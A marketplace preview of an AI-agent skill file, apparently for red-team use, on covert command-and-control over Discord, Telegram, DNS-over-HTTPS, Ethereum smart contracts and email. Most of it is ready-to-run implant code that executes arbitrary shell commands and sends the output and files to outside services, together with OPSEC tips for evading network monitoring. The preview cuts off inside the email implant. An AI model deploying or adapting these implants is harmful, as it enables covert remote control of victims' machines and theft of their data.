Skip to main content

c2-alternative-channels

Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 29일 01:38
감지된 SKILL.md 언어
영어
스타
5,522
포크
1,048

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
c2-alternative-channels
description
Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.
allowed-tools
Bash Read Write
metadata
{"subdomain":"command-and-control","when_to_use":"alternative c2, discord c2, telegram c2, blockchain c2, email c2, dns over https, dead drop resolver, cloud c2, lambda c2, serverless c2","tags":"c2, discord, telegram, blockchain, email, doh, dead-drop, cloud, serverless, covert-channel","mitre_attack":"T1102, T1071.004, T1071.003, T1573"}
# Alternative C2 Channels Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection. ## Quick Reference ```bash # Discord webhook C2 — post command output curl -X POST -H "Content-Type: application/json" \ -d "{\"content\":\"$(whoami)\"}" \ "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>" # Telegram bot C2 — poll for commands curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text' # DNS-over-HTTPS exfil via Google curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT" ``` ## MITRE ATT&CK Mapping | Technique | ID | Usage in Skill | |-----------|----|----------------| | Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay | | Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling | | Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 | | Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services | ## 1. Discord Webhook C2 Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to `discord.com` — a domain almost never blocked. ### Setup ```bash # Create a Discord server and channel for C2 # Settings > Integrations > Webhooks > New Webhook # Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN> # Create a bot for command input: # https://discord.com/developers/applications > New Application > Bot # Enable MESSAGE CONTENT intent # Invite bot to server with Send Messages + Read Message History ``` ### Implant Logic (Python) ```python #!/usr/bin/env python3 """Discord C2 implant — polls channel for commands, posts output via webhook.""" import requests, subprocess, time, json, os WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>" BOT_TOKEN = "<BOT_TOKEN>" CHANNEL_ID = "<CHANNEL_ID>" HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"} SLEEP = 30 LAST_MSG_ID = None def poll_command(): global LAST_MSG_ID url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1" r = requests.get(url, headers=HEADERS) if r.status_code != 200: return None msgs = r.json() if not msgs: return None msg = msgs[0] if msg["id"] == LAST_MSG_ID: return None LAST_MSG_ID = msg["id"] return msg["content"] def send_output(data): # Discord message limit is 2000 chars; chunk if needed for i in range(0, len(data), 1900): chunk = data[i:i+1900] requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"}) while True: cmd = poll_command() if cmd and cmd.startswith("!exec "): try: out = subprocess.check_output( cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30 ).decode(errors="replace") except subprocess.TimeoutExpired: out = "[TIMEOUT]" except Exception as e: out = f"[ERROR] {e}" send_output(out) time.sleep(SLEEP) ``` ### OPSEC Notes - All traffic goes to `discord.com:443` — TLS-encrypted, CDN-hosted - Rate limit: ~5 requests/sec per webhook; space commands to avoid `429` - Bot token exposure = full channel compromise; rotate after engagement - Discord logs message content — treat the channel as burned post-op ## 2. Telegram Bot C2 Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution. ### Setup ```bash # Create bot via @BotFather on Telegram: # /newbot -> name -> username -> receive BOT_TOKEN # Get chat ID: curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id' ``` ### Implant Logic (Python) ```python #!/usr/bin/env python3 """Telegram Bot C2 — long-poll getUpdates, execute, reply.""" import requests, subprocess, time BOT_TOKEN = "<BOT_TOKEN>" CHAT_ID = "<CHAT_ID>" API = f"https://api.telegram.org/bot{BOT_TOKEN}" OFFSET = 0 SLEEP = 15 def poll(): global OFFSET r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30}) updates = r.json().get("result", []) for u in updates: OFFSET = u["update_id"] + 1 text = u.get("message", {}).get("text", "") if text.startswith("/run "): yield text[5:] def reply(text): # Telegram message limit: 4096 chars for i in range(0, len(text), 4000): requests.post(f"{API}/sendMessage", json={ "chat_id": CHAT_ID, "text": f"```\n{text[i:i+4000]}\n```", "parse_mode": "Markdown" }) def upload(path): with open(path, "rb") as f: requests.post(f"{API}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f}) while True: for cmd in poll(): if cmd.startswith("upload "): upload(cmd[7:]) continue try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60) reply(out.decode(errors="replace")) except Exception as e: reply(f"[ERROR] {e}") time.sleep(SLEEP) ``` ### Features - **File exfil**: `sendDocument` uploads files up to 50 MB - **Long polling**: `getUpdates?timeout=30` reduces beacon frequency - **Inline keyboards**: Build interactive menus for operator convenience - **OPSEC**: Traffic to `api.telegram.org` over TLS; set bot privacy mode ## 3. DNS-over-HTTPS (DoH) C2 DNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (`dns.google`) or Cloudflare (`1.1.1.1`). Since DoH bypasses traditional DNS monitoring (no UDP/53 inspection), it creates a covert channel. ### Architecture ``` Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled) ^ | TXT records = encoded commands | A records = encoded data ``` ### Implant Logic (Bash) ```bash #!/bin/bash # DoH C2 beacon — query operator's DNS for commands via Google DoH C2_DOMAIN="c2.<TARGET>" DOH_URL="https://dns.google/resolve" SLEEP=60 encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; } decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; } # Register implant HOSTNAME=$(hostname) IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20) curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null while true; do # Poll for command RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT") CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"') if [ -n "$CMD" ]; then DECODED=$(decode "$CMD") OUTPUT=$(eval "$DECODED" 2>&1 | head -c 200) ENCODED=$(encode "$OUTPUT") # Exfil output via subdomain labels (max 63 chars per label) for chunk in $(echo "$ENCODED" | fold -w 60); do curl -s "${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A" > /dev/null done fi sleep $SLEEP done ``` ### DoH Providers | Provider | Endpoint | Notes | |----------|----------|-------| | Google | `https://dns.google/resolve` | JSON API, widely allowed | | Cloudflare | `https://1.1.1.1/dns-query` | Wire format + JSON | | Quad9 | `https://dns.quad9.net:5053/dns-query` | Less common, lower profile | ### Limitations - TXT records limited to 255 bytes per string (chain multiple) - DNS label max 63 chars, total FQDN max 253 chars - High-volume queries to operator domain may trigger DNS analytics ## 4. Blockchain-Based C2 (Ethereum Smart Contract) Smart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints. ### Smart Contract (Solidity) ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract C2 { address private owner; mapping(bytes32 => string) private commands; mapping(bytes32 => string) private responses; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, ""); _; } function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner { commands[implantId] = cmd; } function getCommand(bytes32 implantId) external view returns (string memory) { return commands[implantId]; } function postResponse(bytes32 implantId, string calldata resp) external { responses[implantId] = resp; } function getResponse(bytes32 implantId) external view returns (string memory) { return responses[implantId]; } } ``` ### Implant Logic (Python) ```python #!/usr/bin/env python3 """Ethereum smart contract C2 — read commands from chain, post results.""" from web3 import Web3 import subprocess, time, hashlib RPC_URL = "https://mainnet.infura.io/v3/<API_KEY>" # or any public RPC CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>" ABI = [...] # ABI from compilation IMPLANT_ID = Web3.keccak(text=__import__("socket").gethostname()) w3 = Web3(Web3.HTTPProvider(RPC_URL)) contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI) while True: cmd = contract.functions.getCommand(IMPLANT_ID).call() if cmd: try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30) # Post response on-chain (requires funded wallet for gas) # For read-only implants, exfil via side channel instead except Exception as e: out = str(e).encode() time.sleep(300) ``` ### OPSEC Notes - **Read operations are free** — no wallet or gas needed to poll commands - **Write operations cost gas** — use a side channel (DNS, HTTP) for responses - Contract is public and immutable — use encryption for command/response data - Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls - Deploy on testnets (Sepolia) for testing; mainnet for real operations ## 5. Email-Based C2 (IMAP/SMTP) Email C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email. ### Implant Logic (Python) ```python #!/usr/bin/env python3 """Email C2 — read commands from IMAP inbox, send results via SMTP.""" import imaplib, smtplib, email, subprocess, time from email.mime.text import MIMEText IMAP_SERVER = "imap.gmail.com" SMTP_SERVER = "smtp.gmail.com" EMAIL_ADDR = "<C2_EMAIL>@gmail.com" EMAIL_PASS = "<APP_PASSWORD>" OPERATOR = "<OPERATOR_EMAIL>" SLEEP = 120 def check_commands(): imap = imaplib.IMAP4_SSL(IMAP_SERVER) imap.login(EMAIL_ADDR, EMAIL_PASS) imap.select("INBOX") _, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"') commands = [] for num in nums[0].split(): _, data = imap.fetch(num, "(RFC822)") msg = email.message_from_bytes(data[0][1]) body = msg.get_payload(decode=True).decode(errors="replace") commands.append(body.strip()) imap.store(num, "+FLAGS", "\\Deleted") imap.expunge()
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기